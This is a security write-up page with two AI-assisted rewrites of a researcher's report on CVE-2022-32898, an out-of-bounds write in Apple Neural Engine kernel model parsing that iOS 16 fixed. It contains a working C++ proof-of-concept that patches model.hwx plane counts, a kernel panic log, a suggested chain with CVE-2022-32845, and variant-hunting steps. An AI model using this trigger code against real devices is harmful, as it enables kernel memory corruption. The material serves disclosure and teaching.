Skip to content
Memory corruption Write-up Advanced

CVE-2022-32898: ANE_ProgramCreate() multiple kernel memory corruption

The Apple Neural Engine kernel driver failed to validate the number of planes supplied by a model, allowing kernel pointers to be written beyond a stack array and two heap objects. An attacker could craft a malicious model to corrupt kernel memory, potentially leading to type confusion or a kernel panic.

simo Follow

Published on 0x36.github.io

While reverse-engineering the process of which the Apple Neural Engine loads a model in the kernel level, I identified two interesting memory corruption vulnerabilities in the code responsible for processing the neural network features in H11ANEIn::ANEProgramCreategated(). These kind of vulnerabilities, in my opinion…

Mohamed GHANNAM (@_simo36), on 0x36.github.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

The Apple Neural Engine (ANE) is driven from user space by aned, which loads compiled neural network models into the kernel. The kernel-side entry point for this is H11ANEIn::ANE_ProgramCreate_gated(), which processes the neural network features described by a compiled model. While reverse-engineering how a model is loaded at kernel level, I found two memory corruption vulnerabilities in the code that parses the procedure input and output of a model.

The parsing is done by two functions, ZinComputeProgramGetNamesFromMultiPlaneLinear() and ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed(). Both handle the LC_THREAD command with thread flavour 2 (ane_bind_state), specifically the cases where binding_type_info is 4 or 5. From what I can tell, binding_type_info = 4 means a procedure's input has more than one plane, and binding_type_info = 5 means the input has more than one plane and is also compressed.

Setup

The work is manual auditing of the kernel driver rather than fuzzing. In my opinion these bugs are easy to find when auditing the driver by hand, but nearly impossible to catch with fuzzers unless you build something incredibly sophisticated.

To reach the vulnerable code you do not need to interact with the kernel directly: no UserClient connection is required. You need a malicious model, and aned will load it on your behalf. Normally a model must be compiled by the ANECompilerService system service or signed by Apple: the app provides a .mlmodelc directory to aned, which asks ANECompilerService to compile it to model.hwx using two frameworks called Espresso and ANECompiler. For background on how aned works, the #POC2022 slides cover a basic overview, and the compilation process is described in Wish Wu's BlackHat talk and his tool that mimics what ANECompilerService does.

Or watch on YouTube
From the original on 0x36.github.io

The practical obstacle is that the model needs a procedure whose input or output supports multiple planes. No such model exists in the mlmodel, mlmodelc or mlpackage formats, and only a few models in hwx format are provided by Apple. Inspecting those hwx models showed they use weird, undocumented neural network operations that do not exist in the open source coremltools code base, which hints that these layers are for internal usage only. Their implementation lives in the Espresso framework, and understanding what inputs and outputs they support would require reversing it. Since the framework is written in C++ with STL, I had no interest in reversing the operation, as it would take forever.

That is the main reason I went looking for another way in, which led me to CVE-2022-32845. That bug let me avoid reversing the framework and saved hundreds of hours of studying advanced machine learning topics.

Finding it

ZinComputeProgramGetNamesFromMultiPlaneLinear() takes five arguments: a load command pointer, a thread binding pointer, and three extra output arguments. The last output argument, planes, is an array that will hold planes, or kernel pointers, whose contents are controlled by the user. The final argument, planeCount, indicates how many planes (or kernel pointers) were copied into planes from the model.hwx file. The function definition is shown below.

Untitled
Untitled From the original on 0x36.github.io

The problem is the lack of validation of how many planes a model can supply. Kernel pointers can be written outside the bounds of the planes array, which opens up several interesting memory corruption scenarios.

Exploitation

Step 1: overflow the stack

planes is a stack variable inside H11ANEIn::ANE_ProgramCreate_gated(), and it is supposed to hold up to 4 elements. Supplying more than 4 planes overflows it and can corrupt other stack variables, which can lead to issues such as type confusion, since the overwriting kernel pointers are completely under user control.

Overflowing with too many entries would likely also overwrite the stack cookie and the saved old stack frame pointer, causing a kernel panic. Fortunately the total number of planes is entirely within the control of the given model, so several stack variables can be corrupted without touching those sensitive areas of the stack.

Step 2: overflow heap objects instead

Another interesting scenario is overflowing two heap objects: H11ANEProgramBindingInfo (at line 528) and [redacted] (at line 533).

Untitled
Untitled From the original on 0x36.github.io
C
struct H11ANEProgramBindingInfo
{
        struct {
                uint32_t field_0;
                char names[8][512];
                uint32_t field_1004;
                char *procedure_name;
        } inputs[255], outputs[255];

};

Corrupting [redacted] can produce crashes such as the following:

"panicString" : "panic(cpu 4 caller 0xfffffe00112e6184): Kernel data abort. at pc 0xfffffe0010a8a48c, lr 0x03effe0011b1b47c (saved state: 0xfffffe6089dca980)
  x0:  0x1122334411223344 x1:  0xfffffe3000ecff20  x2:  0x0000000000000040  x3:  0x0000000000000000
  x4:  0x0000000000000000 x5:  0x0000000000000000  x6:  0x00000000000000e8  x7:  0x0000000000000830
  x8:  0xfffffe608949c000 x9:  0xfffffe24cec0d1b0  x10: 0xfffffe24cd7d4010  x11: 0xfffffe1667fa93e0
  x12: 0x0000000000000001 x13: 0x0000000000000858  x14: 0xfffffe3000ed0760  x15: 0x00292a20736d6172
  x16: 0x5bd9fe0010a8a470 x17: 0xfffffe0013ad55d8  x18: 0x0000000000000000  x19: 0x0000000000000000
  x20: 0x0000000000000001 x21: 0xfffffe1b33ee3860  x22: 0xfffffe299a621a00  x23: 0xfffffe2999c72208
  x24: 0xfffffe3000ec0000 x25: 0x00000000e00002d1  x26: 0xfffffe608949c000  x27: 0xfffffe60895a2054
  x28: 0xfffffe6089dcb850 fp:  0xfffffe6089dcacd0  lr:  0x03effe0011b1b47c  sp:  0xfffffe6089dcacd0
  pc:  0xfffffe0010a8a48c cpsr: 0x00401208         esr: 0x96000004          far: 0x1122334411223344

Step 3: craft the model

To trigger the bug, take a simple model.hwx and patch one of its LC_THREAD commands to replicate the desired outcome in ane_bind_state, then use CVE-2022-32845 to trick aned into loading it as if it were signed by Apple. That was enough to demonstrate the vulnerability to Apple.

The function that patches the model is shown below. You can borrow code from the weightBufs kernel exploit if you want to trigger the vulnerability yourself.

C++
void patch_hwx(const mach_header_64 *mh,size_t mh_size)
{
        if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) {
                dbg("[-] Bad Mach-O file \n");
                return ;
        }

        struct load_command *lc = NULL;

        FOR_EACH_COMMAND {

                if (lc->cmd != LC_THREAD)
                        continue;

                dbg("LC_THREAD command found \n");

                compute_thread_command *thread = (compute_thread_command *)lc;
                u32 name_off = 0;
                switch (thread->flavor) {
                case THREAD_BINDING: {
                        name_off = *(uint32_t*)((char*)thread + 0x18);
                        dbg("Binding Name \n");
                        compute_thread_binding * bd =
                                (compute_thread_binding *)&thread->thread_states;

                        bd->binding_typeinfo = 4;
                        bd->field4 = 1;

                        u32 plane_count = 0x30;
                        char *buf_start = (char*)lc + 0x20;
                        *(u32 *) buf_start = 0;
                        *(u32 *) (buf_start + 0x10) = plane_count;
                        char *_ptr = buf_start + 0x6C;
                        int i = 0;
                        uint64_t off = 0;

                        do {
                                if(off == 0)
                                        off = (unsigned int)(_ptr + 4 - (char*)mh) + 8 ;
                                *(unsigned int *)_ptr = mh_size;

                                u64 *pp = (u64 *)&_ptr[4];
                                for(int k = 0; k < 4;k++)
                                        pp[k] = 0x1122334411223344;
                                _ptr += 0x68;

                        }while (i++ < plane_count);

                        patched = true;

                        return;
                }
                case THREAD_PROCEDURE_OPERATION:
                case THREAD_PROCEDURE:
                default:
                        break;
                }

                dbg("\t ProcedureName '%s' \n",(char*)thread + name_off);

        }

}

The function walks the Mach-O load commands and looks for LC_THREAD. For the THREAD_BINDING flavour it sets binding_typeinfo to 4, which selects the multi-plane path, and sets field4 to 1. It then writes a plane count of 0x30 into the thread command buffer and fills each plane entry with the marker value 0x1122334411223344, advancing by 0x68 bytes per entry. The marker value 0x1122334411223344 also appears in the panic as far: 0x1122334411223344.

Root cause

Neither ZinComputeProgramGetNamesFromMultiPlaneLinear() nor ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed() validates how many planes the model supplies before copying them into the planes array. The planes array is supposed to hold up to 4 elements, but planeCount comes from the model.hwx file, so the copy writes user-controlled kernel pointers past the end of the array. Because the count is chosen by the model, the overflow can be sized to hit neighbouring stack variables or the two heap objects without reaching the stack cookie or saved frame pointer.

Impact

An attacker who can get a malicious model loaded can corrupt kernel memory with pointers they control. On the stack this can lead to type confusion; on the heap it can corrupt H11ANEProgramBindingInfo and [redacted], which in the demonstrated case produces a kernel data abort. The trigger does not require a UserClient connection: the model is loaded by aned on the attacker's behalf. The precondition is that the model is accepted for loading, which normally means being compiled by ANECompilerService or signed by Apple; in this research that step was bypassed with CVE-2022-32845.

Fix

Apple addressed the issue in iOS 16 by introducing validation checks in both vulnerable functions, limiting the supplied plane count to four entries.

Untitled
Untitled From the original on 0x36.github.io

Variants to test

  • Other binding_type_info values and thread flavours in ane_bind_state: look for any path where a count field from the model is used to size a copy into a fixed array. A positive result is a panic whose fault address matches a marker you placed in the model.
  • The compressed multi-plane path, ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed(): the report says it also lacks validation of the plane count.
  • Other fixed-size arrays in H11ANEIn::ANE_ProgramCreate_gated() that are filled from model data: a positive result is corruption of a neighbouring variable without touching the stack cookie, which keeps the device alive long enough to observe the effect.
  • Heap objects adjacent to H11ANEProgramBindingInfo and [redacted]: vary the plane count to see which object is reached first, and confirm with a crash report showing your marker value in the fault address.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

Apple devices contain a small dedicated chip called the Apple Neural Engine, or ANE. It is the part of the hardware that runs machine learning models, the kind of thing that powers face recognition, photo sorting and voice assistants. A model is a file that describes a neural network: a set of layers and connections that turn an input into an output.

A program called aned (the ANE daemon, a background service) takes a compiled model file and hands it to the kernel, the core of the operating system that has full access to memory and hardware. The kernel-side function that receives the model is called H11ANEIn::ANE_ProgramCreate_gated(). While reading through that code by hand, the researcher found two bugs in the part that reads the model's description of its inputs and outputs.

A bug of this kind is called a memory corruption vulnerability. In everyday terms: the kernel keeps a small numbered list of places in memory (a fixed-size array), and the model file is allowed to say how many entries go into that list. If the model says "more than the list can hold", the extra entries spill over into whatever memory sits next to the list, overwriting it. Because the spilled values come from the model file, an attacker chooses what gets written where. That is the whole idea behind this report.

Background: what the pieces are

Before the details, a few terms that come up constantly.

  • Kernel: the privileged core of the operating system. It manages memory, hardware and processes. A bug in the kernel is serious because code running there can do almost anything on the device.
  • User space: ordinary programs (apps, services) that run with limited privileges. They talk to the kernel through well-defined entry points.
  • Driver: kernel code that controls a piece of hardware. Here, the driver for the ANE.
  • Model: a file describing a neural network. Apple's compiled form is called model.hwx.
  • Memory corruption: writing data to a memory location that the program did not intend to write to, usually because a size or count was not checked.
  • Stack and heap: two regions of memory. The stack holds short-lived local variables of a running function; the heap holds longer-lived objects allocated on demand. Overflowing either can damage neighbouring data.
  • Kernel pointer: a memory address inside the kernel. If an attacker can place a chosen value where the kernel expects a pointer, the kernel may later follow it and read or write memory the attacker chose.
  • Type confusion: a bug where the program treats one kind of object as another kind, because the data describing its type was overwritten.
  • Kernel panic: the kernel's equivalent of a crash. The device stops and reboots. Useful as a signal that memory was corrupted, but not a full exploit by itself.
  • Fuzzing: automatically feeding a program huge numbers of random or mutated inputs to find crashes. Good at finding some bugs, poor at finding bugs that need a carefully structured input.
  • Reverse engineering: reading compiled code (here, a kernel driver) to work out what it does, since the source is not public.

How the model gets loaded

The ANE is driven from user space by aned. The kernel-side entry point is H11ANEIn::ANE_ProgramCreate_gated(), which processes the neural network features described by a compiled model. The researcher was reverse-engineering how a model is loaded at kernel level when the two bugs turned up.

The parsing is done by two functions:

  • ZinComputeProgramGetNamesFromMultiPlaneLinear()
  • ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed()

Both handle a structure called the LC_THREAD command with thread flavour 2 (ane_bind_state), specifically the cases where binding_type_info is 4 or 5. From what the researcher could tell, binding_type_info = 4 means a procedure's input has more than one plane, and binding_type_info = 5 means the input has more than one plane and is also compressed.

A plane here is one slice of a multi-part input. Think of a colour photo stored as three separate layers (red, green, blue): each layer is a plane. A model can declare that its input has several such layers, and the kernel has to record where each one lives in memory.

Setup: manual auditing, not fuzzing

The work was manual auditing of the kernel driver rather than fuzzing. In the researcher's opinion these bugs are easy to find when auditing the driver by hand, but nearly impossible to catch with fuzzers unless you build something incredibly sophisticated.

To reach the vulnerable code you do not need to interact with the kernel directly: no UserClient connection is required. A UserClient is the standard way an app opens a channel to a kernel driver. Here, that step is skipped entirely. You need a malicious model, and aned will load it on your behalf.

Normally a model must be compiled by the ANECompilerService system service or signed by Apple. The flow is: the app provides a .mlmodelc directory to aned, which asks ANECompilerService to compile it to model.hwx using two frameworks called Espresso and ANECompiler. For background on how aned works, the #POC2022 slides cover a basic overview, and the compilation process is described in Wish Wu's BlackHat talk and his tool that mimics what ANECompilerService does.

Or watch on YouTube
From the original on 0x36.github.io

The practical obstacle is that the model needs a procedure whose input or output supports multiple planes. No such model exists in the mlmodel, mlmodelc or mlpackage formats, and only a few models in hwx format are provided by Apple. Inspecting those hwx models showed they use weird, undocumented neural network operations that do not exist in the open source coremltools code base, which hints that these layers are for internal usage only. Their implementation lives in the Espresso framework, and understanding what inputs and outputs they support would require reversing it. Since the framework is written in C++ with STL, the researcher had no interest in reversing the operation, as it would take forever.

That is the main reason the researcher went looking for another way in, which led to CVE-2022-32845. That bug let the researcher avoid reversing the framework and saved hundreds of hours of studying advanced machine learning topics. In plain terms: instead of building a valid multi-plane model from scratch, the researcher took a simple model.hwx and edited it, then used a separate bug to make aned accept the edited file as if Apple had signed it.

Finding it

ZinComputeProgramGetNamesFromMultiPlaneLinear() takes five arguments: a load command pointer, a thread binding pointer, and three extra output arguments. The last output argument, planes, is an array that will hold planes, or kernel pointers, whose contents are controlled by the user. The final argument, planeCount, indicates how many planes (or kernel pointers) were copied into planes from the model.hwx file. The function definition is shown below.

Untitled
Untitled From the original on 0x36.github.io

The problem is the lack of validation of how many planes a model can supply. Kernel pointers can be written outside the bounds of the planes array, which opens up several interesting memory corruption scenarios.

In everyday terms: the function is handed a box with room for a few items, plus a number saying how many items to put in it. Nobody checks the number against the size of the box. If the number is larger, the extra items land on whatever is next to the box.

Exploitation

Step 1: overflow the stack

planes is a stack variable inside H11ANEIn::ANE_ProgramCreate_gated(), and it is supposed to hold up to 4 elements. Supplying more than 4 planes overflows it and can corrupt other stack variables, which can lead to issues such as type confusion, since the overwriting kernel pointers are completely under user control.

Overflowing with too many entries would likely also overwrite the stack cookie and the saved old stack frame pointer, causing a kernel panic. A stack cookie is a secret value the compiler places next to local variables; if a function returns and the cookie has changed, the system knows the stack was tampered with and stops. The saved frame pointer is the address the function must return to. Overwriting either of these is detected or crashes the device. Fortunately the total number of planes is entirely within the control of the given model, so several stack variables can be corrupted without touching those sensitive areas of the stack. In other words, the attacker can choose a count that is just big enough to reach the interesting neighbour, but not so big that the crash protection fires.

Step 2: overflow heap objects instead

Another interesting scenario is overflowing two heap objects: H11ANEProgramBindingInfo (at line 528) and [redacted] (at line 533).

Untitled
Untitled From the original on 0x36.github.io
C
struct H11ANEProgramBindingInfo
{
        struct {
                uint32_t field_0;
                char names[8][512];
                uint32_t field_1004;
                char *procedure_name;
        } inputs[255], outputs[255];

};

This is a C structure definition, a description of how a block of memory is laid out. Reading it in plain words:

  • struct H11ANEProgramBindingInfo is the name of the whole object.
  • Inside it there are two arrays, inputs[255] and outputs[255], each holding 255 entries.
  • Each entry contains a small number (field_0), a block of text storage (names[8][512], eight strings of up to 512 characters), another number (field_1004), and a pointer to a procedure name (procedure_name).
  • Because the arrays are fixed at 255 entries, writing past the end of one of them lands in the next field or in the next object in memory.

Corrupting [redacted] can produce crashes such as the following:

"panicString" : "panic(cpu 4 caller 0xfffffe00112e6184): Kernel data abort. at pc 0xfffffe0010a8a48c, lr 0x03effe0011b1b47c (saved state: 0xfffffe6089dca980)
  x0:  0x1122334411223344 x1:  0xfffffe3000ecff20  x2:  0x0000000000000040  x3:  0x0000000000000000
  x4:  0x0000000000000000 x5:  0x0000000000000000  x6:  0x00000000000000e8  x7:  0x0000000000000830
  x8:  0xfffffe608949c000 x9:  0xfffffe24cec0d1b0  x10: 0xfffffe24cd7d4010  x11: 0xfffffe1667fa93e0
  x12: 0x0000000000000001 x13: 0x0000000000000858  x14: 0xfffffe3000ed0760  x15: 0x00292a20736d6172
  x16: 0x5bd9fe0010a8a470 x17: 0xfffffe0013ad55d8  x18: 0x0000000000000000  x19: 0x0000000000000000
  x20: 0x0000000000000001 x21: 0xfffffe1b33ee3860  x22: 0xfffffe299a621a00  x23: 0xfffffe2999c72208
  x24: 0xfffffe3000ec0000 x25: 0x00000000e00002d1  x26: 0xfffffe608949c000  x27: 0xfffffe60895a2054
  x28: 0xfffffe6089dcb850 fp:  0xfffffe6089dcacd0  lr:  0x03effe0011b1b47c  sp:  0xfffffe6089dcacd0
  pc:  0xfffffe0010a8a48c cpsr: 0x00401208         esr: 0x96000004          far: 0x1122334411223344

This is a kernel panic log, the report the device produces when the kernel crashes. Reading it in plain words:

  • panic(cpu 4 ...) says the crash happened on CPU core 4.
  • Kernel data abort means the kernel tried to read or write memory it was not allowed to touch.
  • pc is the program counter, the address of the instruction that crashed; lr is the link register, the address to return to.
  • The x0 to x28 lines are the contents of the CPU registers at the moment of the crash. Registers are the tiny, very fast storage slots inside the processor.
  • fp, lr and sp are the frame pointer, link register and stack pointer, which describe where the function was in its call chain.
  • far is the fault address, the exact memory address the kernel tried to access. Here it is 0x1122334411223344, a value that looks deliberately chosen rather than random. That value also appears in the panic as the fault address.

Step 3: craft the model

To trigger the bug, take a simple model.hwx and patch one of its LC_THREAD commands to replicate the desired outcome in ane_bind_state, then use CVE-2022-32845 to trick aned into loading it as if it were signed by Apple. That was enough to demonstrate the vulnerability to Apple.

The function that patches the model is shown below. You can borrow code from the weightBufs kernel exploit if you want to trigger the vulnerability yourself.

C++
void patch_hwx(const mach_header_64 *mh,size_t mh_size)
{
        if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) {
                dbg("[-] Bad Mach-O file \n");
                return ;
        }

        struct load_command *lc = NULL;

        FOR_EACH_COMMAND {

                if (lc->cmd != LC_THREAD)
                        continue;

                dbg("LC_THREAD command found \n");

                compute_thread_command *thread = (compute_thread_command *)lc;
                u32 name_off = 0;
                switch (thread->flavor) {
                case THREAD_BINDING: {
                        name_off = *(uint32_t*)((char*)thread + 0x18);
                        dbg("Binding Name \n");
                        compute_thread_binding * bd =
                                (compute_thread_binding *)&thread->thread_states;

                        bd->binding_typeinfo = 4;
                        bd->field4 = 1;

                        u32 plane_count = 0x30;
                        char *buf_start = (char*)lc + 0x20;
                        *(u32 *) buf_start = 0;
                        *(u32 *) (buf_start + 0x10) = plane_count;
                        char *_ptr = buf_start + 0x6C;
                        int i = 0;
                        uint64_t off = 0;

                        do {
                                if(off == 0)
                                        off = (unsigned int)(_ptr + 4 - (char*)mh) + 8 ;
                                *(unsigned int *)_ptr = mh_size;

                                u64 *pp = (u64 *)&_ptr[4];
                                for(int k = 0; k < 4;k++)
                                        pp[k] = 0x1122334411223344;
                                _ptr += 0x68;

                        }while (i++ < plane_count);

                        patched = true;

                        return;
                }
                case THREAD_PROCEDURE_OPERATION:
                case THREAD_PROCEDURE:
                default:
                        break;
                }

                dbg("\t ProcedureName '%s' \n",(char*)thread + name_off);

        }

}

Line by line, in plain words:

  • void patch_hwx(const mach_header_64 *mh,size_t mh_size) declares a function that takes a pointer to the start of the model file and its size. mach_header_64 is the header at the start of a Mach-O file, Apple's executable and object file format.
  • The first if checks the file's magic number, a fixed value at the start that identifies the file type. 0xfeedface and 0xbeefface are the two accepted values. If neither matches, it prints [-] Bad Mach-O file and returns without doing anything.
  • struct load_command *lc = NULL; prepares a pointer to walk through the file's load commands. Load commands are the table of contents of a Mach-O file: each one tells the loader about a section, a symbol table, or in this case a thread state.
  • FOR_EACH_COMMAND { is a macro that loops over every load command in the file.
  • if (lc->cmd != LC_THREAD) continue; skips any command that is not LC_THREAD. LC_THREAD is the command that carries the thread state, which is where the binding information lives.
  • dbg("LC_THREAD command found \n"); prints a message so the researcher can see the loop found the right command.
  • compute_thread_command *thread = (compute_thread_command *)lc; reinterprets the generic load command as the more specific thread command structure, so its fields can be read.
  • switch (thread->flavor) branches on the flavour, the subtype of thread state. Only THREAD_BINDING is handled here; the other cases fall through to break and are ignored.
  • name_off = *(uint32_t*)((char*)thread + 0x18); reads a 32-bit offset at byte 0x18 of the command, which points to the procedure name string.
  • compute_thread_binding * bd = (compute_thread_binding *)&thread->thread_states; points at the binding structure inside the thread state.
  • bd->binding_typeinfo = 4; sets binding_type_info to 4, which selects the multi-plane path in the kernel. This is the switch that sends the model down the vulnerable code.
  • bd->field4 = 1; sets another field to 1.
  • u32 plane_count = 0x30; chooses 48 planes, while the array is supposed to hold up to 4.
  • char *buf_start = (char*)lc + 0x20; points at the start of the thread command's data area.
  • *(u32 *) buf_start = 0; writes zero at the start of that area.
  • *(u32 *) (buf_start + 0x10) = plane_count; writes the plane count into the structure, so the kernel will read 48 from the file.
  • char *_ptr = buf_start + 0x6C; positions the write cursor at the first plane entry.
  • The do { ... } while (i++ < plane_count); loop writes 48 plane entries, one after another.
  • *(unsigned int *)_ptr = mh_size; writes the file size at the start of each entry.
  • u64 *pp = (u64 *)&_ptr[4]; points just after that value.
  • for(int k = 0; k < 4;k++) pp[k] = 0x1122334411223344; fills four 64-bit slots with the marker value 0x1122334411223344. This is the value that later shows up in the panic as far: 0x1122334411223344, which confirms the overwrite came from the model data.
  • _ptr += 0x68; moves the cursor forward by 0x68 bytes, the size of one plane entry, ready for the next iteration.
  • patched = true; return; records success and stops after the first matching command.
  • The dbg("\t ProcedureName '%s' \n",(char*)thread + name_off); at the end prints the procedure name for commands that were not handled.

Root cause

Neither ZinComputeProgramGetNamesFromMultiPlaneLinear() nor ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed() validates how many planes the model supplies before copying them into the planes array. The planes array is supposed to hold up to 4 elements, but planeCount comes from the model.hwx file, so the copy writes user-controlled kernel pointers past the end of the array. Because the count is chosen by the model, the overflow can be sized to hit neighbouring stack variables or the two heap objects without reaching the stack cookie or saved frame pointer.

In everyday terms: the function trusts a number written by the file it is reading. It should check that number against the size of the box before copying, and it does not.

Impact

An attacker who can get a malicious model loaded can corrupt kernel memory with pointers they control. On the stack this can lead to type confusion; on the heap it can corrupt H11ANEProgramBindingInfo and [redacted], which in the demonstrated case produces a kernel data abort. The trigger does not require a UserClient connection: the model is loaded by aned on the attacker's behalf. The precondition is that the model is accepted for loading, which normally means being compiled by ANECompilerService or signed by Apple; in this research that step was bypassed with CVE-2022-32845.

Fix

Apple addressed the issue in iOS 16 by introducing validation checks in both vulnerable functions, limiting the supplied plane count to four entries.

Untitled
Untitled From the original on 0x36.github.io

In plain words: the fix adds the missing check, limiting the supplied plane count to four entries.

Variants to test

  • Other binding_type_info values and thread flavours in ane_bind_state: look for any path where a count field from the model is used to size a copy into a fixed array. A positive result is a panic whose fault address matches a marker you placed in the model.
  • The compressed multi-plane path, ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed(): the report says it also lacks validation of the plane count.
  • Other fixed-size arrays in H11ANEIn::ANE_ProgramCreate_gated() that are filled from model data: a positive result is corruption of a neighbouring variable without touching the stack cookie, which keeps the device alive long enough to observe the effect.
  • Heap objects adjacent to H11ANEProgramBindingInfo and [redacted]: vary the plane count to see which object is reached first, and confirm with a crash report showing your marker value in the fault address.

Glossary

  • ANE (Apple Neural Engine): a dedicated chip in Apple devices that runs machine learning models.
  • aned: the background service that loads compiled neural network models into the ANE driver.
  • ANECompilerService: the system service that compiles a model into the model.hwx format the ANE understands.
  • Kernel: the privileged core of the operating system, with full access to memory and hardware.
  • User space: ordinary programs that run with limited privileges and talk to the kernel through defined entry points.
  • UserClient: the standard channel an app opens to talk to a kernel driver.
  • model.hwx: Apple's compiled model format for the ANE.
  • .mlmodelc / .mlmodel / .mlpackage: Apple's model formats used before compilation to hwx.
  • Espresso: an Apple framework involved in compiling models.
  • coremltools: an open source library for working with Core ML models.
  • Memory corruption: writing to memory the program did not intend to write to, usually because a size or count was not checked.
  • Stack: the memory region holding a running function's short-lived local variables.
  • Heap: the memory region holding longer-lived objects allocated on demand.
  • Array: a fixed-size list of values stored one after another in memory.
  • Out-of-bounds write: writing past the end of an array into neighbouring memory.
  • Type confusion: treating one kind of object as another because its type information was overwritten.
  • Kernel panic: the kernel's crash; the device stops and reboots.
  • Stack cookie: a secret value placed next to local variables to detect stack tampering.
  • Frame pointer: a saved address that lets a function return to its caller.
  • Fuzzing: automatically feeding a program many random or mutated inputs to find crashes.
  • Reverse engineering: reading compiled code to work out what it does.
  • Mach-O: Apple's executable and object file format.
  • Load command: an entry in a Mach-O file's table of contents describing a section or state.
  • LC_THREAD: the Mach-O load command that carries thread state.
  • ane_bind_state: the thread state that describes how a model's inputs and outputs are bound.
  • binding_type_info: a field that selects how a binding is interpreted; 4 means multi-plane, 5 means multi-plane and compressed.
  • Plane: one slice of a multi-part input, such as one colour layer of an image.
  • Register: a tiny, very fast storage slot inside the CPU.
  • Program counter (pc): the address of the instruction currently executing.
  • Fault address (far): the memory address the kernel tried to access when it crashed.
  • CVE: a public identifier for a known security vulnerability.
  • CVE-2022-32845: a separate bug used here to make aned accept an edited model as if Apple had signed it.
  • CVE-2022-32898: the identifier for the multi-plane memory corruption described in this report.
  • weightBufs: the researcher's kernel exploit project, whose code can be borrowed to trigger the bug.

More from Apple

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.